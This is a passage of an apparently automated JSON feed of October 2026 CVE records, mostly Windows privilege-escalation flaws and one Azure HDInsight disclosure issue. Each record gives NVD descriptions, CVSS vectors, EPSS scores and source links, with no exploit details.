2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85908&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85908, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85906","cveId":"CVE-2026-85906","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:16.580Z","updatedAt":"2026-10-16T16:22:16.437Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85906","asOf":"2026-10-16T16:22:16.437Z"},"epss":{"probability":0.00348,"percentile":0.28188,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85906&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85906","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85906","type":"primary","publishedAt":"2026-10-13T19:21:16.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85906&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85906, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85905","cveId":"CVE-2026-85905","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows UI Immersive Server allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows UI Immersive Server allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows UI Immersive Server allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:16.403Z","updatedAt":"2026-10-16T16:22:16.220Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85905","asOf":"2026-10-16T16:22:16.220Z"},"epss":{"probability":0.00361,"percentile":0.29681,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85905&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85905","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85905","type":"primary","publishedAt":"2026-10-13T19:21:16.403Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85905&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85905, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85891","cveId":"CVE-2026-85891","aliases":[],"kind":"vulnerability","title":"Exposure of sensitive information to an unauthorized actor in Azure HDInsight allows an unauthorized attacker to disclose information over a network.","summary":"Exposure of sensitive information to an unauthorized actor in Azure HDInsight allows an unauthorized attacker to disclose information over a network.","detail":"Exposure of sensitive information to an unauthorized actor in Azure HDInsight allows an unauthorized attacker to disclose information over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:15.430Z","updatedAt":"2026-10-13T21:19:31.423Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Azure"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85891","asOf":"2026-10-13T21:19:31.423Z"},"epss":{"probability":0.00923,"percentile":0.60131,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85891&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85891","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85891","type":"primary","publishedAt":"2026-10-13T19:21:15.430Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85891&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85891, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85884","cveId":"CVE-2026-85884","aliases":[],"kind":"vulnerability","title":"Missing authentication for critical function in Windows Health and Optimized Experiences Service allows an authorized attacker to elevate privileges locally.","summary":"Missing authentication for critical function in Windows Health and Optimized Experiences Service allows an authorized attacker to elevate privileges locally.","detail":"Missing authentication for critical function in Windows Health and Optimized Experiences Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:15.313Z","updatedAt":"2026-10-13T23:18:55.707Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85884","asOf":"2026-10-13T23:18:55.707Z"},"epss":{"probability":0.00446,"percentile":0.38557,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85884&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85884","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85884","type":"primary","publishedAt":"2026-10-13T19:21:15.313Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85884&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85884, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85881","cveId":"CVE-2026-85881","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Microsoft Graphics Component allows an authorized attacker to elevate privileges over a network.","summary":"Stack-based buffer overflow in Microsoft Graphics Component allows an authorized attacker to elevate privileges over a network.","detail":"Stack-based buffer overflow in Microsoft Graphics Component allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:15.190Z","updatedAt":"2026-10-13T21:19:30.990Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85881","asOf":"2026-10-13T21:19:30.990Z"},"epss":{"probability":0.00677,"percentile":0.51977,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85881&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85881","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85881","type":"primary","publishedAt":"2026-10-13T19:21:15.190Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85881&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85881, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85879","cveId":"CVE-2026-85879","aliases":[],"kind":"vulnerability","title":"Time-of-check time-of-use (toctou) race condition in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.","summary":"Time-of-check time-of-use (toctou) race condition in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.","detail":"Time-of-check time-of-use (toctou) race condition in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:15.073Z","updatedAt":"2026-10-14T04:18:49.483Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85879","asOf":"2026-10-14T04:18:49.483Z"},"epss":{"probability":0.00219,"percentile":0.12319,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85879&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85879","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85879","type":"primary","publishedAt":"2026-10-13T19:21:15.073Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85879&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85879, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85874","cveId":"CVE-2026-85874","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Message Queuing Queue Manager allows an authorized attacker to execute code locally.","summary":"Use after free in Windows Message Queuing Queue Manager allows an authorized attacker to execute code locally.","detail":"Use after free in Windows Message Queuing Queue Manager allows an authorized attacker to execute code locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:14.900Z","updatedAt":"2026-10-16T16:22:14.623Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85874","asOf":"2026-10-16T16:22:14.623Z"},"epss":{"probability":0.00361,"percentile":0.2968,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85874&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85874","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85874","type":"primary","publishedAt":"2026-10-13T19:21:14.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85874&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85874, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85872","cveId":"CVE-2026-85872","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Storage VSP Driver allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Storage VSP Driver allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Storage VSP Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:14.610Z","updatedAt":"2026-10-16T16:22:14.363Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85872","asOf":"2026-10-16T16:22:14.363Z"},"epss":{"probability":0.00286,"percentile":0.20926,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85872&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85872","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85872","type":"primary","publishedAt":"2026-10-13T19:21:14.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85872&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85872, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85871","cveId":"CVE-2026-85871","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:14.433Z","updatedAt":"2026-10-16T16:22:14.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85871","asOf":"2026-10-16T16:22:14.140Z"},"epss":{"probability":0.00318,"percentile":0.24519,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85871&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85871","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85871","type":"primary","publishedAt":"2026-10-13T19:21:14.433Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85871&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85871, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85870","cveId":"CVE-2026-85870","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:14.253Z","updatedAt":"2026-10-16T16:22:13.917Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85870","asOf":"2026-10-16T16:22:13.917Z"},"epss":{"probability":0.00326,"percentile":0.25457,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85870&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85870","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85870","type":"primary","publishedAt":"2026-10-13T19:21:14.253Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85870&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85870, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85869","cveId":"CVE-2026-85869","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:14.067Z","updatedAt":"2026-10-16T16:22:13.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85869","asOf":"2026-10-16T16:22:13.700Z"},"epss":{"probability":0.00318,"percentile":0.2452,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85869&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85869","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85869","type":"primary","publishedAt":"2026-10-13T19:21:14.067Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85869&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85869, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85868","cveId":"CVE-2026-85868","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:13.890Z","updatedAt":"2026-10-16T16:22:13.480Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85868","asOf":"2026-10-16T16:22:13.480Z"},"epss":{"probability":0.00286,"percentile":0.20924,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85868&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85868","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85868","type":"primary","publishedAt":"2026-10-13T19:21:13.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85868&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85868, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85867","cveId":"CVE-2026-85867","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Remote Access Connection Manager allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Remote Access Connection Manager allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Remote Access Connection Manager allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:13.720Z","updatedAt":"2026-10-16T16:22:13.260Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85867","asOf":"2026-10-16T16:22:13.260Z"},"epss":{"probability":0.00245,"percentile":0.15628,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85867&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 